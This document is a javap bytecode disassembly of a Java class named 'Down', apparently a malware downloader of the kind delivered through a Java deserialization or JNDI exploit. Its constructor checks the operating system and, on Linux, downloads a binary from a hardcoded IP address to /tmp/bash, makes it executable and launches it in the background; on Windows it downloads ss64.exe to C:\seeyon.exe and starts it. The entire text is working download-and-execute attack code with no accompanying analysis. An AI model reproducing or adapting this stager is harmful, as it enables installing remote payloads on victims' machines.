Classfile /Hi/Down.class Last modified Dec 29, 2021; size 3525 bytes SHA-256 checksum 5c4cd60c7d9fb105c4674c683ef6d8a85d0fe43cb64fc78aa2822cf96f077d12 Compiled from "Down.java" public class Down minor version: 0 major version: 52 flags: (0x0021) ACC_PUBLIC, ACC_SUPER this_class: #82 // Down super_class: #83 // java/lang/Object interfaces: 0, fields: 0, methods: 4, attributes: 1 Constant pool: #1 = Methodref #83.#109 // java/lang/Object."":()V #2 = String #110 // http://193.56.29.207:80/ #3 = Class #111 // java/lang/StringBuilder #4 = Methodref #3.#109 // java/lang/StringBuilder."":()V #5 = Methodref #3.#112 // java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; #6 = String #113 // ss64.exe #7 = Methodref #3.#114 // java/lang/StringBuilder.toString:()Ljava/lang/String; #8 = String #115 // ss64 #9 = String #116 // os.name #10 = Methodref #117.#118 // java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String; #11 = Fieldref #117.#119 // java/lang/System.out:Ljava/io/PrintStream; #12 = Methodref #120.#121 // java/io/PrintStream.println:(Ljava/lang/String;)V #13 = Methodref #64.#122 // java/lang/String.toLowerCase:()Ljava/lang/String; #14 = String #123 // linux #15 = Methodref #64.#124 // java/lang/String.startsWith:(Ljava/lang/String;)Z #16 = String #125 // /tmp/bash #17 = Methodref #82.#126 // Down.saveUrlAs:(Ljava/lang/String;Ljava/lang/String;)V #18 = String #127 // chmod +x #19 = String #128 // ;setsid #20 = Methodref #82.#129 // Down.ExecLinux:(Ljava/lang/String;)V #21 = String #130 // sleep 3 #22 = String #131 // nohup #23 = String #132 // & #24 = String #133 // win #25 = String #134 // C:\\seeyon.exe #26 = String #135 // start #27 = Methodref #82.#136 // Down.ExecWin:(Ljava/lang/String;)V #28 = String #137 // pinc -n 2 127.0.0.1 #29 = String #138 // done #30 = Class #139 // java/io/File #31 = Methodref #30.#140 // java/io/File."":(Ljava/lang/String;)V #32 = Methodref #30.#141 // java/io/File.exists:()Z #33 = String #142 // exist #34 = Class #143 // java/net/URL #35 = Methodref #34.#140 // java/net/URL."":(Ljava/lang/String;)V #36 = Methodref #34.#144 // java/net/URL.openConnection:()Ljava/net/URLConnection; #37 = Class #145 // java/net/HttpURLConnection #38 = Methodref #37.#146 // java/net/HttpURLConnection.setConnectTimeout:(I)V #39 = Integer 180000 #40 = Methodref #37.#147 // java/net/HttpURLConnection.setReadTimeout:(I)V #41 = String #148 // GET #42 = Methodref #37.#149 // java/net/HttpURLConnection.setRequestMethod:(Ljava/lang/String;)V #43 = Methodref #37.#150 // java/net/HttpURLConnection.setDoInput:(Z)V #44 = Methodref #37.#151 // java/net/HttpURLConnection.setDoOutput:(Z)V #45 = Methodref #37.#152 // java/net/HttpURLConnection.setUseCaches:(Z)V #46 = Methodref #37.#153 // java/net/HttpURLConnection.connect:()V #47 = Methodref #37.#154 // java/net/HttpURLConnection.getInputStream:()Ljava/io/InputStream; #48 = Class #155 // java/io/BufferedInputStream #49 = Methodref #48.#156 // java/io/BufferedInputStream."":(Ljava/io/InputStream;)V #50 = Class #157 // java/io/FileOutputStream #51 = Methodref #50.#140 // java/io/FileOutputStream."":(Ljava/lang/String;)V #52 = Class #158 // java/io/BufferedOutputStream #53 = Methodref #52.#159 // java/io/BufferedOutputStream."":(Ljava/io/OutputStream;)V #54 = Methodref #48.#160 // java/io/BufferedInputStream.read:([B)I #55 = Methodref #52.#161 // java/io/BufferedOutputStream.write:([BII)V #56 = Methodref #52.#162 // java/io/BufferedOutputStream.close:()V #57 = Methodref #48.#162 // java/io/BufferedInputStream.close:()V #58 = Methodref #37.#163 // java/net/HttpURLConnection.disconnect:()V #59 = Class #164 // java/lang/Exception #60 = Methodref #59.#165 // java/lang/Exception.printStackTrace:()V #61 = String #166 // down err #62 = String #167 // this is linux #63 = Methodref #168.#169 // java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; #64 = Class #170 // java/lang/String #65 = String #171 // bash #66 = String #172 // -c #67 = Methodref #168.#173 // java/lang/Runtime.exec:([Ljava/lang/String;)Ljava/lang/Process; #68 = Methodref #174.#154 // java/lang/Process.getInputStream:()Ljava/io/InputStream; #69 = Class #175 // java/io/BufferedReader #70 = Class #176 // java/io/InputStreamReader #71 = Methodref #70.#156 // java/io/InputStreamReader."":(Ljava/io/InputStream;)V #72 = Methodref #69.#177 // java/io/BufferedReader."":(Ljava/io/Reader;)V #73 = Methodref #69.#178 // java/io/BufferedReader.readLine:()Ljava/lang/String; #74 = Methodref #174.#179 // java/lang/Process.waitFor:()I #75 = Methodref #180.#162 // java/io/InputStream.close:()V #76 = Methodref #69.#162 // java/io/BufferedReader.close:()V #77 = Methodref #174.#181 // java/lang/Process.destroy:()V #78 = String #182 // exec linux err #79 = String #183 // cmd.exe #80 = String #184 // /c #81 = String #185 // exec win err #82 = Class #186 // Down #83 = Class #187 // java/lang/Object #84 = Utf8 #85 = Utf8 ()V #86 = Utf8 Code #87 = Utf8 LineNumberTable #88 = Utf8 StackMapTable #89 = Class #186 // Down #90 = Class #170 // java/lang/String #91 = Utf8 saveUrlAs #92 = Utf8 (Ljava/lang/String;Ljava/lang/String;)V #93 = Class #139 // java/io/File #94 = Class #157 // java/io/FileOutputStream #95 = Class #145 // java/net/HttpURLConnection #96 = Class #188 // java/io/InputStream #97 = Class #143 // java/net/URL #98 = Class #155 // java/io/BufferedInputStream #99 = Class #158 // java/io/BufferedOutputStream #100 = Class #189 // "[B" #101 = Class #164 // java/lang/Exception #102 = Utf8 ExecLinux #103 = Utf8 (Ljava/lang/String;)V #104 = Class #190 // java/lang/Process #105 = Class #175 // java/io/BufferedReader #106 = Utf8 ExecWin #107 = Utf8 SourceFile #108 = Utf8 Down.java #109 = NameAndType #84:#85 // "":()V #110 = Utf8 http://193.56.29.207:80/ #111 = Utf8 java/lang/StringBuilder #112 = NameAndType #191:#192 // append:(Ljava/lang/String;)Ljava/lang/StringBuilder; #113 = Utf8 ss64.exe #114 = NameAndType #193:#194 // toString:()Ljava/lang/String; #115 = Utf8 ss64 #116 = Utf8 os.name #117 = Class #195 // java/lang/System #118 = NameAndType #196:#197 // getProperty:(Ljava/lang/String;)Ljava/lang/String; #119 = NameAndType #198:#199 // out:Ljava/io/PrintStream; #120 = Class #200 // java/io/PrintStream #121 = NameAndType #201:#103 // println:(Ljava/lang/String;)V #122 = NameAndType #202:#194 // toLowerCase:()Ljava/lang/String; #123 = Utf8 linux #124 = NameAndType #203:#204 // startsWith:(Ljava/lang/String;)Z #125 = Utf8 /tmp/bash #126 = NameAndType #91:#92 // saveUrlAs:(Ljava/lang/String;Ljava/lang/String;)V #127 = Utf8 chmod +x #128 = Utf8 ;setsid #129 = NameAndType #102:#103 // ExecLinux:(Ljava/lang/String;)V #130 = Utf8 sleep 3 #131 = Utf8 nohup #132 = Utf8 & #133 = Utf8 win #134 = Utf8 C:\\seeyon.exe #135 = Utf8 start #136 = NameAndType #106:#103 // ExecWin:(Ljava/lang/String;)V #137 = Utf8 pinc -n 2 127.0.0.1 #138 = Utf8 done #139 = Utf8 java/io/File #140 = NameAndType #84:#103 // "":(Ljava/lang/String;)V #141 = NameAndType #205:#206 // exists:()Z #142 = Utf8 exist #143 = Utf8 java/net/URL #144 = NameAndType #207:#208 // openConnection:()Ljava/net/URLConnection; #145 = Utf8 java/net/HttpURLConnection #146 = NameAndType #209:#210 // setConnectTimeout:(I)V #147 = NameAndType #211:#210 // setReadTimeout:(I)V #148 = Utf8 GET #149 = NameAndType #212:#103 // setRequestMethod:(Ljava/lang/String;)V #150 = NameAndType #213:#214 // setDoInput:(Z)V #151 = NameAndType #215:#214 // setDoOutput:(Z)V #152 = NameAndType #216:#214 // setUseCaches:(Z)V #153 = NameAndType #217:#85 // connect:()V #154 = NameAndType #218:#219 // getInputStream:()Ljava/io/InputStream; #155 = Utf8 java/io/BufferedInputStream #156 = NameAndType #84:#220 // "":(Ljava/io/InputStream;)V #157 = Utf8 java/io/FileOutputStream #158 = Utf8 java/io/BufferedOutputStream #159 = NameAndType #84:#221 // "":(Ljava/io/OutputStream;)V #160 = NameAndType #222:#223 // read:([B)I #161 = NameAndType #224:#225 // write:([BII)V #162 = NameAndType #226:#85 // close:()V #163 = NameAndType #227:#85 // disconnect:()V #164 = Utf8 java/lang/Exception #165 = NameAndType #228:#85 // printStackTrace:()V #166 = Utf8 down err #167 = Utf8 this is linux #168 = Class #229 // java/lang/Runtime #169 = NameAndType #230:#231 // getRuntime:()Ljava/lang/Runtime; #170 = Utf8 java/lang/String #171 = Utf8 bash #172 = Utf8 -c #173 = NameAndType #232:#233 // exec:([Ljava/lang/String;)Ljava/lang/Process; #174 = Class #190 // java/lang/Process #175 = Utf8 java/io/BufferedReader #176 = Utf8 java/io/InputStreamReader #177 = NameAndType #84:#234 // "":(Ljava/io/Reader;)V #178 = NameAndType #235:#194 // readLine:()Ljava/lang/String; #179 = NameAndType #236:#237 // waitFor:()I #180 = Class #188 // java/io/InputStream #181 = NameAndType #238:#85 // destroy:()V #182 = Utf8 exec linux err #183 = Utf8 cmd.exe #184 = Utf8 /c #185 = Utf8 exec win err #186 = Utf8 Down #187 = Utf8 java/lang/Object #188 = Utf8 java/io/InputStream #189 = Utf8 [B #190 = Utf8 java/lang/Process #191 = Utf8 append #192 = Utf8 (Ljava/lang/String;)Ljava/lang/StringBuilder; #193 = Utf8 toString #194 = Utf8 ()Ljava/lang/String; #195 = Utf8 java/lang/System #196 = Utf8 getProperty #197 = Utf8 (Ljava/lang/String;)Ljava/lang/String; #198 = Utf8 out #199 = Utf8 Ljava/io/PrintStream; #200 = Utf8 java/io/PrintStream #201 = Utf8 println #202 = Utf8 toLowerCase #203 = Utf8 startsWith #204 = Utf8 (Ljava/lang/String;)Z #205 = Utf8 exists #206 = Utf8 ()Z #207 = Utf8 openConnection #208 = Utf8 ()Ljava/net/URLConnection; #209 = Utf8 setConnectTimeout #210 = Utf8 (I)V #211 = Utf8 setReadTimeout #212 = Utf8 setRequestMethod #213 = Utf8 setDoInput #214 = Utf8 (Z)V #215 = Utf8 setDoOutput #216 = Utf8 setUseCaches #217 = Utf8 connect #218 = Utf8 getInputStream #219 = Utf8 ()Ljava/io/InputStream; #220 = Utf8 (Ljava/io/InputStream;)V #221 = Utf8 (Ljava/io/OutputStream;)V #222 = Utf8 read #223 = Utf8 ([B)I #224 = Utf8 write #225 = Utf8 ([BII)V #226 = Utf8 close #227 = Utf8 disconnect #228 = Utf8 printStackTrace #229 = Utf8 java/lang/Runtime #230 = Utf8 getRuntime #231 = Utf8 ()Ljava/lang/Runtime; #232 = Utf8 exec #233 = Utf8 ([Ljava/lang/String;)Ljava/lang/Process; #234 = Utf8 (Ljava/io/Reader;)V #235 = Utf8 readLine #236 = Utf8 waitFor #237 = Utf8 ()I #238 = Utf8 destroy { public Down(); descriptor: ()V flags: (0x0001) ACC_PUBLIC Code: stack=2, locals=6, args_size=1 0: aload_0 1: invokespecial #1 // Method java/lang/Object."":()V 4: ldc #2 // String http://193.56.29.207:80/ 6: astore_1 7: new #3 // class java/lang/StringBuilder 10: dup 11: invokespecial #4 // Method java/lang/StringBuilder."":()V 14: aload_1 15: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 18: ldc #6 // String ss64.exe 20: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 23: invokevirtual #7 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; 26: astore_2 27: new #3 // class java/lang/StringBuilder 30: dup 31: invokespecial #4 // Method java/lang/StringBuilder."":()V 34: aload_1 35: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 38: ldc #8 // String ss64 40: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 43: invokevirtual #7 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; 46: astore_3 47: ldc #9 // String os.name 49: invokestatic #10 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String; 52: astore 4 54: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 57: aload 4 59: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 62: aload 4 64: invokevirtual #13 // Method java/lang/String.toLowerCase:()Ljava/lang/String; 67: ldc #14 // String linux 69: invokevirtual #15 // Method java/lang/String.startsWith:(Ljava/lang/String;)Z 72: ifeq 154 75: ldc #16 // String /tmp/bash 77: astore 5 79: aload_3 80: aload 5 82: invokestatic #17 // Method saveUrlAs:(Ljava/lang/String;Ljava/lang/String;)V 85: new #3 // class java/lang/StringBuilder 88: dup 89: invokespecial #4 // Method java/lang/StringBuilder."":()V 92: ldc #18 // String chmod +x 94: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 97: aload 5 99: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 102: ldc #19 // String ;setsid 104: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 107: aload 5 109: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 112: invokevirtual #7 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; 115: invokestatic #20 // Method ExecLinux:(Ljava/lang/String;)V 118: ldc #21 // String sleep 3 120: invokestatic #20 // Method ExecLinux:(Ljava/lang/String;)V 123: new #3 // class java/lang/StringBuilder 126: dup 127: invokespecial #4 // Method java/lang/StringBuilder."":()V 130: ldc #22 // String nohup 132: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 135: aload 5 137: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 140: ldc #23 // String & 142: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 145: invokevirtual #7 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; 148: invokestatic #20 // Method ExecLinux:(Ljava/lang/String;)V 151: goto 205 154: aload 4 156: invokevirtual #13 // Method java/lang/String.toLowerCase:()Ljava/lang/String; 159: ldc #24 // String win 161: invokevirtual #15 // Method java/lang/String.startsWith:(Ljava/lang/String;)Z 164: ifeq 205 167: ldc #25 // String C:\\seeyon.exe 169: astore 5 171: aload_2 172: aload 5 174: invokestatic #17 // Method saveUrlAs:(Ljava/lang/String;Ljava/lang/String;)V 177: new #3 // class java/lang/StringBuilder 180: dup 181: invokespecial #4 // Method java/lang/StringBuilder."":()V 184: ldc #26 // String start 186: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 189: aload 5 191: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 194: invokevirtual #7 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; 197: invokestatic #27 // Method ExecWin:(Ljava/lang/String;)V 200: ldc #28 // String pinc -n 2 127.0.0.1 202: invokestatic #27 // Method ExecWin:(Ljava/lang/String;)V 205: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 208: ldc #29 // String done 210: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 213: return LineNumberTable: line 7: 0 line 8: 4 line 9: 7 line 10: 27 line 12: 47 line 13: 54 line 16: 62 line 17: 75 line 18: 79 line 20: 85 line 21: 118 line 22: 123 line 25: 151 line 26: 167 line 27: 171 line 29: 177 line 30: 200 line 35: 205 line 36: 213 StackMapTable: number_of_entries = 2 frame_type = 255 /* full_frame */ offset_delta = 154 locals = [ class Down, class java/lang/String, class java/lang/String, class java/lang/String, class java/lang/String ] stack = [] frame_type = 50 /* same */ public static void saveUrlAs(java.lang.String, java.lang.String); descriptor: (Ljava/lang/String;Ljava/lang/String;)V flags: (0x0009) ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=11, args_size=2 0: new #30 // class java/io/File 3: dup 4: aload_1 5: invokespecial #31 // Method java/io/File."":(Ljava/lang/String;)V 8: astore_2 9: aload_2 10: invokevirtual #32 // Method java/io/File.exists:()Z 13: ifeq 41 16: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 19: new #3 // class java/lang/StringBuilder 22: dup 23: invokespecial #4 // Method java/lang/StringBuilder."":()V 26: ldc #33 // String exist 28: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 31: aload_1 32: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; 35: invokevirtual #7 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; 38: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 41: aconst_null 42: astore_3 43: aconst_null 44: astore 4 46: aconst_null 47: astore 5 49: new #34 // class java/net/URL 52: dup 53: aload_0 54: invokespecial #35 // Method java/net/URL."":(Ljava/lang/String;)V 57: astore 6 59: aload 6 61: invokevirtual #36 // Method java/net/URL.openConnection:()Ljava/net/URLConnection; 64: checkcast #37 // class java/net/HttpURLConnection 67: astore 4 69: aload 4 71: sipush 20000 74: invokevirtual #38 // Method java/net/HttpURLConnection.setConnectTimeout:(I)V 77: aload 4 79: ldc #39 // int 180000 81: invokevirtual #40 // Method java/net/HttpURLConnection.setReadTimeout:(I)V 84: aload 4 86: ldc #41 // String GET 88: invokevirtual #42 // Method java/net/HttpURLConnection.setRequestMethod:(Ljava/lang/String;)V 91: aload 4 93: iconst_1 94: invokevirtual #43 // Method java/net/HttpURLConnection.setDoInput:(Z)V 97: aload 4 99: iconst_1 100: invokevirtual #44 // Method java/net/HttpURLConnection.setDoOutput:(Z)V 103: aload 4 105: iconst_0 106: invokevirtual #45 // Method java/net/HttpURLConnection.setUseCaches:(Z)V 109: aload 4 111: invokevirtual #46 // Method java/net/HttpURLConnection.connect:()V 114: aload 4 116: invokevirtual #47 // Method java/net/HttpURLConnection.getInputStream:()Ljava/io/InputStream; 119: astore 5 121: new #48 // class java/io/BufferedInputStream 124: dup 125: aload 5 127: invokespecial #49 // Method java/io/BufferedInputStream."":(Ljava/io/InputStream;)V 130: astore 7 132: new #50 // class java/io/FileOutputStream 135: dup 136: aload_1 137: invokespecial #51 // Method java/io/FileOutputStream."":(Ljava/lang/String;)V 140: astore_3 141: new #52 // class java/io/BufferedOutputStream 144: dup 145: aload_3 146: invokespecial #53 // Method java/io/BufferedOutputStream."":(Ljava/io/OutputStream;)V 149: astore 8 151: sipush 4096 154: newarray byte 156: astore 9 158: aload 7 160: aload 9 162: invokevirtual #54 // Method java/io/BufferedInputStream.read:([B)I 165: istore 10 167: iload 10 169: iconst_m1 170: if_icmpeq 195 173: aload 8 175: aload 9 177: iconst_0 178: iload 10 180: invokevirtual #55 // Method java/io/BufferedOutputStream.write:([BII)V 183: aload 7 185: aload 9 187: invokevirtual #54 // Method java/io/BufferedInputStream.read:([B)I 190: istore 10 192: goto 167 195: aload 8 197: invokevirtual #56 // Method java/io/BufferedOutputStream.close:()V 200: aload 7 202: invokevirtual #57 // Method java/io/BufferedInputStream.close:()V 205: aload 4 207: invokevirtual #58 // Method java/net/HttpURLConnection.disconnect:()V 210: goto 228 213: astore 6 215: aload 6 217: invokevirtual #60 // Method java/lang/Exception.printStackTrace:()V 220: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 223: ldc #61 // String down err 225: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 228: return Exception table: from to target type 49 210 213 Class java/lang/Exception LineNumberTable: line 41: 0 line 43: 9 line 45: 16 line 48: 41 line 49: 43 line 50: 46 line 53: 49 line 54: 59 line 55: 69 line 56: 77 line 58: 84 line 59: 91 line 60: 97 line 62: 103 line 64: 109 line 66: 114 line 67: 121 line 75: 132 line 76: 141 line 78: 151 line 79: 158 line 81: 167 line 82: 173 line 83: 183 line 85: 195 line 86: 200 line 87: 205 line 91: 210 line 88: 213 line 89: 215 line 90: 220 line 92: 228 StackMapTable: number_of_entries = 5 frame_type = 252 /* append */ offset_delta = 41 locals = [ class java/io/File ] frame_type = 255 /* full_frame */ offset_delta = 125 locals = [ class java/lang/String, class java/lang/String, class java/io/File, class java/io/FileOutputStream, class java/net/HttpURLConnection, class java/io/InputStream, class java/net/URL, class java/io/BufferedInputStream, class java/io/BufferedOutputStream, class "[B", int ] stack = [] frame_type = 27 /* same */ frame_type = 255 /* full_frame */ offset_delta = 17 locals = [ class java/lang/String, class java/lang/String, class java/io/File, class java/io/FileOutputStream, class java/net/HttpURLConnection, class java/io/InputStream ] stack = [ class java/lang/Exception ] frame_type = 14 /* same */ public static void ExecLinux(java.lang.String); descriptor: (Ljava/lang/String;)V flags: (0x0009) ACC_PUBLIC, ACC_STATIC Code: stack=5, locals=5, args_size=1 0: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #62 // String this is linux 5: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: invokestatic #63 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; 11: iconst_3 12: anewarray #64 // class java/lang/String 15: dup 16: iconst_0 17: ldc #65 // String bash 19: aastore 20: dup 21: iconst_1 22: ldc #66 // String -c 24: aastore 25: dup 26: iconst_2 27: aload_0 28: aastore 29: invokevirtual #67 // Method java/lang/Runtime.exec:([Ljava/lang/String;)Ljava/lang/Process; 32: astore_1 33: aload_1 34: invokevirtual #68 // Method java/lang/Process.getInputStream:()Ljava/io/InputStream; 37: astore_2 38: new #69 // class java/io/BufferedReader 41: dup 42: new #70 // class java/io/InputStreamReader 45: dup 46: aload_2 47: invokespecial #71 // Method java/io/InputStreamReader."":(Ljava/io/InputStream;)V 50: invokespecial #72 // Method java/io/BufferedReader."":(Ljava/io/Reader;)V 53: astore_3 54: aload_3 55: invokevirtual #73 // Method java/io/BufferedReader.readLine:()Ljava/lang/String; 58: dup 59: astore 4 61: ifnull 75 64: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 67: aload 4 69: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 72: goto 54 75: aload_1 76: invokevirtual #74 // Method java/lang/Process.waitFor:()I 79: pop 80: aload_2 81: invokevirtual #75 // Method java/io/InputStream.close:()V 84: aload_3 85: invokevirtual #76 // Method java/io/BufferedReader.close:()V 88: aload_1 89: invokevirtual #77 // Method java/lang/Process.destroy:()V 92: goto 108 95: astore_1 96: aload_1 97: invokevirtual #60 // Method java/lang/Exception.printStackTrace:()V 100: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 103: ldc #78 // String exec linux err 105: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 108: return Exception table: from to target type 0 92 95 Class java/lang/Exception LineNumberTable: line 96: 0 line 98: 8 line 99: 33 line 100: 38 line 103: 54 line 104: 64 line 107: 75 line 108: 80 line 109: 84 line 110: 88 line 114: 92 line 111: 95 line 112: 96 line 113: 100 line 116: 108 StackMapTable: number_of_entries = 4 frame_type = 254 /* append */ offset_delta = 54 locals = [ class java/lang/Process, class java/io/InputStream, class java/io/BufferedReader ] frame_type = 252 /* append */ offset_delta = 20 locals = [ class java/lang/String ] frame_type = 255 /* full_frame */ offset_delta = 19 locals = [ class java/lang/String ] stack = [ class java/lang/Exception ] frame_type = 12 /* same */ public static void ExecWin(java.lang.String); descriptor: (Ljava/lang/String;)V flags: (0x0009) ACC_PUBLIC, ACC_STATIC Code: stack=5, locals=5, args_size=1 0: invokestatic #63 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; 3: iconst_3 4: anewarray #64 // class java/lang/String 7: dup 8: iconst_0 9: ldc #79 // String cmd.exe 11: aastore 12: dup 13: iconst_1 14: ldc #80 // String /c 16: aastore 17: dup 18: iconst_2 19: aload_0 20: aastore 21: invokevirtual #67 // Method java/lang/Runtime.exec:([Ljava/lang/String;)Ljava/lang/Process; 24: astore_1 25: aload_1 26: invokevirtual #68 // Method java/lang/Process.getInputStream:()Ljava/io/InputStream; 29: astore_2 30: new #69 // class java/io/BufferedReader 33: dup 34: new #70 // class java/io/InputStreamReader 37: dup 38: aload_2 39: invokespecial #71 // Method java/io/InputStreamReader."":(Ljava/io/InputStream;)V 42: invokespecial #72 // Method java/io/BufferedReader."":(Ljava/io/Reader;)V 45: astore_3 46: aload_3 47: invokevirtual #73 // Method java/io/BufferedReader.readLine:()Ljava/lang/String; 50: dup 51: astore 4 53: ifnull 67 56: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 59: aload 4 61: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 64: goto 46 67: aload_1 68: invokevirtual #74 // Method java/lang/Process.waitFor:()I 71: pop 72: aload_2 73: invokevirtual #75 // Method java/io/InputStream.close:()V 76: aload_3 77: invokevirtual #76 // Method java/io/BufferedReader.close:()V 80: aload_1 81: invokevirtual #77 // Method java/lang/Process.destroy:()V 84: goto 100 87: astore_1 88: aload_1 89: invokevirtual #60 // Method java/lang/Exception.printStackTrace:()V 92: getstatic #11 // Field java/lang/System.out:Ljava/io/PrintStream; 95: ldc #81 // String exec win err 97: invokevirtual #12 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 100: return Exception table: from to target type 0 84 87 Class java/lang/Exception LineNumberTable: line 120: 0 line 121: 25 line 122: 30 line 125: 46 line 126: 56 line 128: 67 line 129: 72 line 130: 76 line 131: 80 line 136: 84 line 133: 87 line 134: 88 line 135: 92 line 137: 100 StackMapTable: number_of_entries = 4 frame_type = 254 /* append */ offset_delta = 46 locals = [ class java/lang/Process, class java/io/InputStream, class java/io/BufferedReader ] frame_type = 252 /* append */ offset_delta = 20 locals = [ class java/lang/String ] frame_type = 255 /* full_frame */ offset_delta = 19 locals = [ class java/lang/String ] stack = [ class java/lang/Exception ] frame_type = 12 /* same */ } SourceFile: "Down.java"